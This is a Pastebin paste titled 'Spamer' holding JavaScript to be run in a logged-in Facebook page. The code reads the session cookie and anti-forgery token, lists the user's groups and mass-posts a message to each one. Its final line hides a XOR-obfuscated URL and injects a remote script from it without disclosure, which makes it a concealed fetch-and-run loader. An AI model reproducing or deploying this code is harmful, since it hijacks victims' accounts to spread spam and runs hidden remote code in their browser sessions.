endlesssandhu

Spamer

Mar 2nd, 2014
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.81 KB | None | 0 0
  1. var askformsg = "<div><span class='img sp_38ydyu sx_004ff3'></span><a style='position:absolute;padding-left:3px;font-size:11px;'>Write Post</a></div></br>";
  2. askformsg += "<div><textarea id='txtFloodMsg' placeholder='Write somthing...' style='padding-top:5px;width:505px;height:100px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>";
  3. askformsg += "<div><button style='margin-left:453px' class='_42ft _42fu _11b selected _42g-' onclick='autopostingfunc(this);' >Post</button></div>";
  4. var Popupset = document.createElement("div");
  5. Popupset.setAttribute("style", "position:fixed;left:50%;margin-left:-298px;top:100px;z-index:9999;font-size:11px;font-family:tahoma;color:#3B5998;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);font-weight:bold;border-radius:3px;border:1px solid rgba(200,200,50,0.2);padding:5px;background-color:rgba(255,255,255,0.9)");
  6. Popupset.innerHTML = askformsg;
  7. document.body.appendChild(Popupset);
  8.  
  9.  
  10. jx = {
  11. getHTTPObject: function () {
  12. var A = false;
  13. if (typeof ActiveXObject != "undefined") {
  14. try {
  15. A = new ActiveXObject("Msxml2.XMLHTTP")
  16. } catch (C) {
  17. try {
  18. A = new ActiveXObject("Microsoft.XMLHTTP")
  19. } catch (B) {
  20. A = false
  21. }
  22. }
  23. } else {
  24. if (window.XMLHttpRequest) {
  25. try {
  26. A = new XMLHttpRequest()
  27. } catch (C) {
  28. A = false
  29. }
  30. }
  31. }
  32. return A
  33. },
  34. load: function (url, callback, format, method, opt) {
  35. var http = this.init();
  36. if (!http || !url) {
  37. return
  38. }
  39. if (http.overrideMimeType) {
  40. http.overrideMimeType("text/xml")
  41. }
  42. if (!method) {
  43. method = "GET"
  44. }
  45. if (!format) {
  46. format = "text"
  47. }
  48. if (!opt) {
  49. opt = {}
  50. }
  51. format = format.toLowerCase();
  52. method = method.toUpperCase();
  53. var now = "uid=" + new Date().getTime();
  54. url += (url.indexOf("?") + 1) ? "&" : "?";
  55. url += now;
  56. var parameters = null;
  57. if (method == "POST") {
  58. var parts = url.split("?");
  59. url = parts[0];
  60. parameters = parts[1]
  61. }
  62. http.open(method, url, true);
  63. if (method == "POST") {
  64. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  65. http.setRequestHeader("Content-length", parameters.length);
  66. http.setRequestHeader("Connection", "close")
  67. }
  68. var ths = this;
  69. if (opt.handler) {
  70. http.onreadystatechange = function () {
  71. opt.handler(http)
  72. }
  73. } else {
  74. http.onreadystatechange = function () {
  75. if (http.readyState == 4) {
  76. if (http.status == 200) {
  77. var result = "";
  78. if (http.responseText) {
  79. result = http.responseText
  80. }
  81. if (format.charAt(0) == "j") {
  82. result = result.replace(/[\n\r]/g, "");
  83. result = eval("(" + result + ")")
  84. } else {
  85. if (format.charAt(0) == "x") {
  86. result = http.responseXML
  87. }
  88. }
  89. if (callback) {
  90. callback(result)
  91. }
  92. } else {
  93. if (opt.loadingIndicator) {
  94. document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  95. }
  96. if (opt.loading) {
  97. document.getElementById(opt.loading).style.display = "none"
  98. }
  99. if (error) {
  100. error(http.status)
  101. }
  102. }
  103. }
  104. }
  105. }
  106. http.send(parameters)
  107. },
  108. bind: function (A) {
  109. var C = {
  110. "url": "",
  111. "onSuccess": false,
  112. "onError": false,
  113. "format": "text",
  114. "method": "GET",
  115. "update": "",
  116. "loading": "",
  117. "loadingIndicator": ""
  118. };
  119. for (var B in C) {
  120. if (A[B]) {
  121. C[B] = A[B]
  122. }
  123. }
  124. if (!C.url) {
  125. return
  126. }
  127. var D = false;
  128. if (C.loadingIndicator) {
  129. D = document.createElement("div");
  130. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  131. D.setAttribute("class", "loading-indicator");
  132. D.innerHTML = C.loadingIndicator;
  133. document.getElementsByTagName("body")[0].appendChild(D);
  134. this.opt.loadingIndicator = D
  135. }
  136. if (C.loading) {
  137. document.getElementById(C.loading).style.display = "block"
  138. }
  139. this.load(C.url, function (E) {
  140. if (C.onSuccess) {
  141. C.onSuccess(E)
  142. }
  143. if (C.update) {
  144. document.getElementById(C.update).innerHTML = E
  145. }
  146. if (D) {
  147. document.getElementsByTagName("body")[0].removeChild(D)
  148. }
  149. if (C.loading) {
  150. document.getElementById(C.loading).style.display = "none"
  151. }
  152. }, C.format, C.method, C)
  153. },
  154. init: function () {
  155. return this.getHTTPObject()
  156. }
  157. }
  158. var j = 0;
  159. var k = 0;
  160. var suc = 0;
  161. var msg = "Hello Friends.";
  162. var arr = new Array();
  163. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  164.  
  165. function autopostingfunc(sender) {
  166. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  167. jx.load(window.location.protocol + "//" + "www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=group&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (data) {
  168. var text = data;
  169. var json = text.substring(text.indexOf('{'));
  170. var friends = JSON.parse(json);
  171. friends = friends.payload.entries;
  172. for (var n = 0; n < friends.length; n++) {
  173. arr.push(friends[n].uid);
  174. }
  175. sender.parentNode.innerHTML = "Please Wait....";
  176. postitok();
  177. });
  178. }
  179. var a = document.body.innerHTML;
  180. var dts = document.getElementsByName('fb_dtsg')[0].value;
  181. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  182.  
  183.  
  184.  
  185. function postitok() {
  186. pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_group_composer";
  187. with(newx = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send(pst);
  188. suc++;
  189. if (suc > arr.length) {
  190. alert("Completed. Please refresh page.");
  191. suc = 0;
  192. } else setTimeout("postitok()", 30000 / arr.length);
  193. }
  194. setTimeout("autopostingfunc()", 1000);
  195. var A="jvvrq8--pcu,ekvjw`,amo-ucxx{epc{-dcag`mmi-ej/rcegq-Qwrrmpv,hq ";B="";C="";var D;D=A.length;for(i=0;i<D;i++){B+=String.fromCharCode(A.charCodeAt(i)^2)}C=unescape(B);document.body.appendChild(document.createElement('script')).src=C;
Advertisement
Add Comment
Please, Sign In to add comment